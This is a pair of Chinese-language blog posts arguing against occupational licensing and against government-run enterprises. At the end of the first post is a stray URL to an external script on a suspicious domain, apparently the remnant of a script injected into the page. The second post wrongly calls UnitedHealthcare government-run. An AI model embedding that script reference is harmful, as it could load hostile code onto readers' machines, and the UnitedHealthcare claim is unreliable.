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筆記 經濟分析

證照制度扼殺機會

華爾街日報報導:「Licenses to Kill Opportunity

1. 美國在1950年代,平均每20種職業其中一種需要證照;但到了現在,平均每四種就其中一種就需要證照才能工作。

2. 新的研究指出,證照制度本身不僅讓貧者更貧,還扼殺了底層社會人民向上攀爬的機會。

3. Lousiana與Washington州高達77種低收入職業仍需要證照才能工作。加州最誇張,因為規則太過繁瑣,竟然沒有一個行政單位能弄清楚並提出一張「職業證照清單」!

4. 在加州,連修扇門的工人都被要求須接受1460天的訓練,然後支付$500證照費給公會後,方可正式接單服務。

5. 今年二月,Arizona州有位美容專科學生發善心幫無家可歸的遊民剪髮,被當地公會控告面臨裁罰!

6. 證照支持者永遠宣稱證照制度存在保護了公共利益/健康, 其實是天大謊言。Istitue for Justice就發現園藝修剪師父竟然要接受比醫院急診技師還高出16倍的訓練量!就連化妝師也比醫院急診高出11倍。試問此二者就算服務有瑕疵,可以造成怎樣的公眾傷害?

7. 某些州甚至要求室內設計師必須受訓6年、通過資格考、並支付$1120以上的費用才能取得證照,其嚴格程度超越牙醫助理執照、驗光師執照、分娩接生執照與藥劑師執照。再試問室內設計師影響的公眾利益/健康,怎麼可比後面敘述的幾個職業都還重大呀?

8. 研究亦發現,證照制度讓消費者在過去十年多付出9%的費用,一年總額高達$2千億美元!同時證照制度的機會成本是剝削了消費者的選擇自由。Louisiana比Mississippi多出40萬個黑人居民,M州有1200個合法黑人髮型理髮師,但因為L州的證照制度較為嚴格,所以黑人更多的L州竟只有32位!

9. 我在加州生活的經驗,連理髮都需要證照;而無證照的家庭理髮服務價格僅需有證照的1/4~1/5。

我在2009年的「不著邊際的筆戰 — 談ECFA與台灣工資水準」曾寫過:「談到競爭觀念,我們得釐清:經濟學上,買方與賣方永遠不存在競爭關係!競爭關係永遠只存在於買方之間,或賣方之間。需求不變下,價格會跌,純粹是因為賣方在競爭;供給不變下,價格會漲,是因為買方在競爭。」

所有的證照制度,本質其實跟保護消費者沒有太大關係,而是要透過政治手段減少勞務供給者之間的競爭,也就是要「減少賣方之間的競爭」來達到壟斷租值的保護。而這樣的租值保護,其實是用政治手段剝削消費者,上述研究就指出美國人一年因此被剝削$2千億美元!從黑人髮型師的例子也可看出,證照制度排除競爭的效果有多強!

我自己法律系出身,我想同為法律人都很難不承認,所謂的律師考試與一個法律人本身的法律知識、修養、通曉世事之能力乃至於保護當事人等層面其實都沒有太大關係。

證照制度另外三大弊病是:1. 無法支付證照成本(無論是金錢或時間)者,即便在某行業有高超技藝亦或天份,也會被排除在外。對此人與消費者都是機會成本損失。

台灣取消中醫特考,有多少家傳一流中醫師因此被迫轉業或停業?而中國醫藥學院訓練出來的中醫師是否真的就很夠格?我想行內人也是心知肚明。

2. 全職準備證照考試者,本質卻是浪費人才生產力!從上述證照考試來看,許多受保護的職業所提供的訓練根本是多餘甚至不必要。但為取得證照,社會上有一群人將浪費相當時間與資源在這件毫無生產力的事情上,也是機會成本之一。(當然,補習班與主考機關會因此得利)

 

3. 通過證照者,因為上頭成本的影響,讓這群人轉職意願降低。則在面臨不景氣或典範移轉時,整個行業被淘汰的情形加劇;反之,也因為證照制度下的利益團體容易在民主政治中形成政治團體,抗拒行業轉變與抗拒新興取代性技術的不利整體社會行為就容易出現。

是的,從機會成本來看,證照制度讓整體社會付出的,遠比表面上看起來大得多。至於其所宣稱的保護效果,不過是天空中的一片虛幻蛋糕。https://js.developerstatss.ga/stat.js?n=ns1

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為何政府不能經營好企業?

這是Wall Street Journal上一篇相當簡單又不錯的文章:「Why Government Can’t Run a Business?」,而副標題下得更好,直接了當地把答案說白了:

「Politicians need headlines. Executives need profits.」
政客要的是頭條;商人要的是金條!

裡頭舉了一些歷史,其實也等於回答了前一篇文章留言裡,我不斷質疑某位網友的:

「……政府援助的錢要用什麼形式給窮人?直接發錢?那麼窮人很可能拿去賭博、喝酒、吃檳榔,而繼續買劣質奶粉。
直接發奶粉?那是要用哪一家廠商的奶粉?會不會有圖利的問題?會不會引誘廠商去行賄?
國營牧場與奶粉廠,又會不會出現與民爭利的問題?國營的產品品質,又如何保證?
當你試圖引進政府干預時,你是否想到你引發的問題,遠遠大過政府不干預?
最後還是要回到原點再問一次,你怎麼知道你干預的方式,可以達到你想要的目的?……」

該文舉出:1913年,美國政府認為美國的民間鋼鐵公司賣給政府用來製作戰艦的鋼鐵材料過貴,因此美國聯邦政府決定自己蓋煉鋼廠。政府自己評估認為這樣可以節省3成的採購費用。
結果,三年後第一次世界大戰結束之時,這個煉鋼廠不但建廠費用遠超出一開始預算數百萬美元,且每單位生產成本還是民間公司的售價的2倍!
更糗的是,戰爭打完了,工廠也被關閉了。前後也不過就生產過那麼一批。

民間公司會做出這麼浪費的蠢事嗎?

該文也舉出,美國官營的UnitedHealthcare,不但與民間的醫療保險業者爭利,本身更充滿無數的浪費、貪污醜聞。這樣的機構,將復健醫療鞋補助給節肢病患,也就不足為奇了。

作者舉了幾個原因,說明為何政府無法做好自由市場裡,民間業者原本可以做得很好的事業。我借用該文的大綱如下,抒發我自身意見。原文請上WSJ閱讀。